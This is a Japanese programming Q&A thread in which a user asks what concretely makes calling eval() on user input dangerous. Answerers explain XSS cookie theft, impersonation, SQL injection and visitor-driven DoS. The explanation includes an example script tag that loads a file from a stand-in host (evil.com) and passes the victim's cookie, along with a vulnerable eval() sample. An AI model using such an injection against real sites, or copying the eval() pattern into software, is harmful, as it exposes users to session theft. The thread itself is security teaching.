- ベストアンサー
eval()の危険性の具体例を教えてくれませんか？
javascriptのeval()の危険性についての質問です。 下のようなページを公開したとして <html> <script> function execstr(str){eval("(" + str + ")");} </script> <body> <form action="#"> <input type="text" id="code"> <input type="button" onclick="javascript:execstr(this.form.code.value);" /> </form> </body> </html> 「ユーザーが入力したテキストをそのままeval()で評価実行するのは、悪意のあるコードがそのまま実行されてしまうので危険である」とされています。この危険な悪意のあるコードが、どんな危険性をもつのかが具体的にイメージが掴めないのです。 javascriptはクライアント側のブラウザーで実行されているものであり、そもそもローカルなリソースにはアクセス出来ないし、ましてサーバー側に影響を及ぼすようなjavascriptとはどんなものなのでしょうか？ クッキーを盗むといっても、本人のクッキーを盗んでも仕方ないし、他人のクッキーはみれないでしょう。XMLHttpRequestで他のサイトにポストするコードを実行されても、サーバー側で困る事はないと思うのですが。
- yyr446
- お礼率46% (33/71)
- JavaScript
- 回答数8
- ありがとう数7
- みんなの回答 （8）
- 専門家の回答
質問者が選んだベストアンサー
その他の回答 (7)
- 神崎 渉瑠（@taloo）
- ベストアンサー率44% (1016/2280)
> No.7 こちらこそ、うだうだとすみません。 私が知らないだけで、eval()の危険性はあるかもしれません。 サイト管理者しか投稿・更新できないのであれば、サイト管理者が悪意のあるコードを投稿しなければ済むだけですが。 セキュリティー関係のサイトを見ていると、考えられないような（実行して下さいと言わんばかりの）コードを紹介していたりしますし、 実際に、<iframe>タグを投稿できるサイトもありましたから、 ともすれば、前の人の投稿内容が、記入欄に残っているようなサイトもあるかもしれません。 （投稿確認->戻る（投稿内容が記入済み）->ブラウザ終了->他の人が表示。で、前の投稿が残ってるとか？) そうなれば、No.4に書かれたようなスクリプトを制作者が用意しておくだけでも、十分危険だと思います。 NO.6 最後のコード これでもよさそう。（NO.4と同じになります) 当然悪意のあるコードが投稿されれば、それが実行されます。 <script>タグの投稿許可でも同じですが、 セキュリティーチェック（安全なコードかどうかの確認）もなしに投稿・実行を許可しているのであれば、危険な事は容易に推測できるはずですし、やはり狙ってるとしか思えないですね。 -------------------- <script> function run(id){ eval(document.getElementById(id).innerText || document.getElementById(id).textContent); } </script> <pre><tt id="post1"> ユーザーが投稿したスクリプト </tt></pre> <a onclick="run('post1');">実行</a> -------------------- > XMLHttpRequestで他のサイトにポストするコードを実行されても、サーバー側で困る事はないと思うのですが。 言い忘れてましたが、JavaScriptそのものが影響する事はありません。 <script>onload=location.reload();</script> でもやられたらともかく、 通常はウイルスの感染を狙いそのウイルスがサーバーを狙うので、むしろ多くのスクリプトがサーバーに影響する可能性があります。
お礼
talooさんありがとうございました。いろいろありそうなので、 当面、eval()するページと投稿するページは まったくつながりの無いページとする事にします。 なにしろ、サーバーはレンタルしているので迂闊なページはつくれません。 ローカルでいろいろ試します。 ご意見、ご指導が、たくさんありそうなので、この質問は クローズとします。 疑問点がでたらまた投稿します。
- think49
- ベストアンサー率59% (285/482)
- 神崎 渉瑠（@taloo）
- ベストアンサー率44% (1016/2280)
- think49
- ベストアンサー率59% (285/482)
- think49
- ベストアンサー率59% (285/482)
- think49
- ベストアンサー率59% (285/482)
おそらく、XSSに似た問題だと思うのですが…。 1. 投稿内容を eval() する掲示板がある 2. 悪意ある投稿者が <script type="text/javascript" src="http://evil.com/evil.js?cookie=***"></script> をページに流し込むコードをポスト 3. 以降、そのページを訪れると evil.js が実行され、evil.com管理者にCookieを盗まれる # オートコンプリートを使用していたら、ID,Passwordを盗まれるケースも…。 > ましてサーバー側に影響を及ぼすようなjavascriptとはどんなものなのでしょうか？ サーバ側とは「そのページを管理しているサーバ」のことでしょうか？ eval() で流し込まれたコードでF5アタックされるリスクが…ありますね。 (攻撃者自身がF5アタックするのではなく、そのページを訪れた第三者にF5アタックさせます。) ただ、eval() を避ける理由は訪問者のリスクへの配慮の意味合いが大きいと思います。
お礼
アドバイスありがとうございました
補足
(eval() で流し込まれたコードでF5アタックされるリスク…ありますね。) ＝＞確かにそのページを管理しているサーバにDos攻撃される危険性がありますね。見落としてました。 Xss攻撃については 2. 悪意ある投稿者が <script type="text/javascript" src="http://evil.com/evil.js?cookie=***"></script> をページに流し込むコードをポスト ＝＞ページ自体がサーバー上にあるため、ページに流し込むコードの作成は不可能だと思います。その掲示板のページはサーバー上にあるので、そのページ自体のソースの更新は不可能のはずです。ソースコードをPOSTされても受け取るPHPがエスケープした上で、記事として掲載するので、javascript側でevalしても投稿者以外はXSSされないと思います。
まぁ、そのサンプルだったら、別に害はないだろう。 ただ、例えば不特定多数の人間が投稿できるような掲示板とかブログとかで、そうした甘い処理を書いてしまうと問題がある。例えば、JavaScriptで「クッキー情報を「http://○○/××.cgi?cookie=クッキー」みたいな形でURLに追加して別のサイトにジャンプするような処理を書いて投稿する。そのジャンプ先のサイトには、あらかじめ送られてきたクッキー情報を保存するような仕組みを用意しておく。 すると、そのページに誰かがアクセスすると、投稿したJavaScriptが画面に表示される際に実行され、アクセスした人間のクッキー情報を指定のサイトにジャンプして送りつけてしまう。そのサイトの人間は、すぐさま自分のブラウザのクッキー情報をそれにあわせて書き換えてアクセスすれば、盗まれた人間に成りすましてアクセスすることができる。これがクロスサイトスクリプティング（XSS）という攻撃。更に、SQLデータベースを利用しているような場合には、実行するSQL文を偽装する投稿を行い、すべてのIDやパスワードを表示させたりする攻撃もある。 というわけで、ただ単に画面に表示するというようなものであれば問題はないだろうが、送られた情報をどこかに保管し、表示したりするような処理になると、こうしたセキュリティの甘さは場合によって致命的になることがある、ということ。サーバーが壊れるとかいうことより、こうした攻撃で個人情報を盗めるという点が一番被害として大きい。例えば、オンラインバンクやオンラインショップにログインした人が投稿できる掲示板があったとして、そこでクッキー情報が盗まれたらどんなことになるか？と考えると恐ろしいことになる。
補足
解答ありがとうございます。 まだよくわかりません。頭がかたいもので．．．． 例えば、私が不特定多数の人が書き込める掲示板のページを公開しているとします。掲示板の仕組みは、フォームよりテキストを入力してもらい、 サーバー側のPHPプログラムにPOSTして、サーバー側のプログラムが POSTされたテキストを厳格ににエスケープしてDBに格納追記し、DBに格納されたテキストを出力している物とします。 この時、掲示板のページにサーバーにポストする以外に、入力されたテキストをそのままevalするコードが書いてあったとして、何故、投稿者以外の人の情報が盗まれるのですか？
お礼
詳細な解説ありがとうございました。 じっくり内容を理解してみます。 考えてばかりいても、楽しくないので、まずはPCのｘａｍｐで公開せずに作っていろいろ試してみようと思います。
補足
javascriptで投稿内容を事前にeval()しても、そのページ自体を書き換えられる危険性はなさそうですね。要はPOSTされたコードを受け取るサーバー側のプログラムがしっかり対策すればよさそうですね。 まさに、ここ「教えて！GOO」のページではいろんなスクリプトコードやHTMLのコードまで投稿されてますが坂内に安全に表示されてますね（HTMLは時々バグってるみたい）。 作ろうと思ったページは、javascriptのソースを投稿してもらい、投稿したjavascriptのコードを送信する前に、そのページで、evalを使って事前にプレビュー実行も可能(無理なコードがあるのも分かってます)とさせ、登録ボタンを押すとサーバー側のphpに送信します。 サーバー側のPHPはPOSTされたコードを、$_POSTからローカル変数に格納する際にエスケープして受け取りaddslashes()してテキストデータとして保存します。掲示版の内容は保存されたテキストデータより<xml>を作成します。投稿されたスクリプトを取り出し加工して、 <description> <![CDATA[ スクリプトの内容 ]]> </description> として出力します。 掲示板のページは、ロード時、リロード時にサーバーに掲示板内容のXMLを ajaxで取りにいって、javascriptでパースしdom関数で編集して、<iframe> の中に表示させます。--といった掲示板を考えたのです。 回答番号：No.2さん指摘のDos攻撃のリスクはeval()つかって無くてもありえる話しなのでjavascriptのeval()の問題点とはいえないかも知れません。